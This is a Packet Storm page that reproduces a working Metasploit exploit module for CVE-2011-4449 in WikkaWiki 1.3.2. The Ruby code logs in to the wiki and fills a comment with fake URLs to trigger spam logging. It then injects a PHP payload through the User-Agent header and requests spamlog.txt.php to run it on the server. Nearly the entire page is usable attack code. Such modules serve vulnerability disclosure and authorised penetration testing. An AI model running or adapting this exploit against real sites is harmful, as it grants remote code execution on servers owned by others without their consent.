Lucene search

K
packetstormEgiXPACKETSTORM:112633
HistoryMay 11, 2012 - 12:00 a.m.

WikkaWiki 1.3.2 Spam Logging PHP Injection

2012-05-1100:00:00
EgiX
packetstormsecurity.com
8243

0.115 Low

EPSS

Percentile

94.7%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection",  
'Description' => %q{  
This module exploits a vulnerability found in WikkaWiki. When the spam logging  
feature is enabled, it is possible to inject PHP code into the spam log file via the  
UserAgent header , and then request it to execute our payload. There are at least  
three different ways to trigger spam protection, this module does so by generating  
10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6).  
  
Please note that in order to use the injection, you must manually pick a page  
first that allows you to add a comment, and then set it as 'PAGE'.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'EgiX', #Initial discovery, PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['CVE', '2011-4449'],  
['OSVDB', '77391'],  
['EDB', '18177'],  
['URL', 'http://wush.net/trac/wikka/ticket/1098']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Arch' => ARCH_PHP,  
'Platform' => ['php'],  
'Targets' =>  
[  
['WikkaWiki 1.3.2 r1814', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Nov 30 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'WikkaWiki username']),  
OptString.new('PASSWORD', [true, 'WikkaWiki password']),  
OptString.new('PAGE', [true, 'Page to inject']),  
OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/'])  
], self.class)  
end  
  
  
def check  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{target_uri.path}wikka.php?wakka=HomePage"  
})  
  
if res and res.body =~ /Powered by WikkaWiki/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
  
#  
# Get the cookie before we do any of that login/exploity stuff  
#  
def get_cookie  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{@base}wikka.php"  
})  
  
# Get the cookie in this format:  
# 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka  
if res and res.headers['Set-Cookie']  
cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0]  
else  
raise RuntimeError, "#{@peer} - No cookie found, will not continue"  
end  
  
cookie  
end  
  
  
#  
# Do login, and then return the cookie that contains our credential  
#  
def login(cookie)  
# Send a request to the login page so we can obtain some hidden values needed for login  
uri = "#{@base}wikka.php?wakka=UserSettings"  
res = send_request_raw({  
'method' => 'GET',  
'uri' => uri,  
'cookie' => cookie  
})  
  
# Extract the hidden fields  
login = {}  
if res and res.body =~ /\<div id\=\"content\"\>.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>.+\<legend\>Login\/Register\<\/legend\>/m  
fields = $1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(\w+)\" \/>/)  
fields.each do |name, value|  
login[name] = value  
end  
else  
raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login"  
end  
  
# Add the rest of fields required for login  
login['action'] = 'login'  
login['name'] = datastore['USERNAME']  
login['password'] = datastore['PASSWORD']  
login['do_redirect'] = 'on'  
login['submit'] = "Login"  
login['confpassword'] = ''  
login['email'] = ''  
  
port = (rport.to_i == 80) ? "" : ":#{rport}"  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'cookie' => cookie,  
'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" },  
'vars_post' => login  
})  
  
if res and res.headers['Set-Cookie'] =~ /user_name/  
user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || ""  
pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || ""  
cookie_cred = "#{cookie}; #{user}; #{pass}"  
else  
cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"  
raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\""  
end  
  
return cookie_cred  
end  
  
  
#  
# After login, we inject the PHP payload  
#  
def inject_exec(cookie)  
# Get the necessary fields in order to post a comment  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1",  
'cookie' => cookie  
})  
  
fields = {}  
if res and res.body =~ /\<form action\=.+processcomment.+\<fieldset class\=\"hidden\"\>(.+)\<\/fieldset\>/m  
$1.scan(/\<input type\=\"hidden\" name\=\"(\w+)\" value\=\"(.+)\" \/>/).each do |n, v|  
fields[n] = v  
end  
else  
raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment"  
end  
  
# Generate enough URLs to trigger spam logging  
urls = ''  
10.times do |i|  
urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n"  
end  
  
# Add more fields  
fields['body'] = urls  
fields['submit'] = 'Add'  
  
# Inject payload  
b64_payload = Rex::Text.encode_base64(payload.encoded)  
port = (rport.to_i == 80) ? "" : ":#{rport}"  
uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment"  
post_data = ""  
send_request_cgi({  
'method' => 'POST',  
'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment",  
'cookie' => cookie,  
'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" },  
'vars_post' => fields,  
'agent' => "<?php #{payload.encoded} ?>"  
})  
  
send_request_raw({  
'method' => 'GET',  
'uri' => "#{@base}spamlog.txt.php"  
})  
end  
  
  
def exploit  
@peer = "#{rhost}:#{rport}"  
  
@base = target_uri.path  
@base << '/' if @base[-1, 1] != '/'  
  
print_status("#{@peer} - Getting cookie")  
cookie = get_cookie  
  
print_status("#{@peer} - Logging in")  
cred = login(cookie)  
  
print_status("#{@peer} - Triggering spam logging")  
inject_exec(cred)  
  
handler  
end  
end  
  
  
=begin  
For testing:  
svn -r 1814 co https://wush.net/svn/wikka/trunk wikka  
  
Open wikka.config.php, do:  
'spam_logging' => '1'  
=end`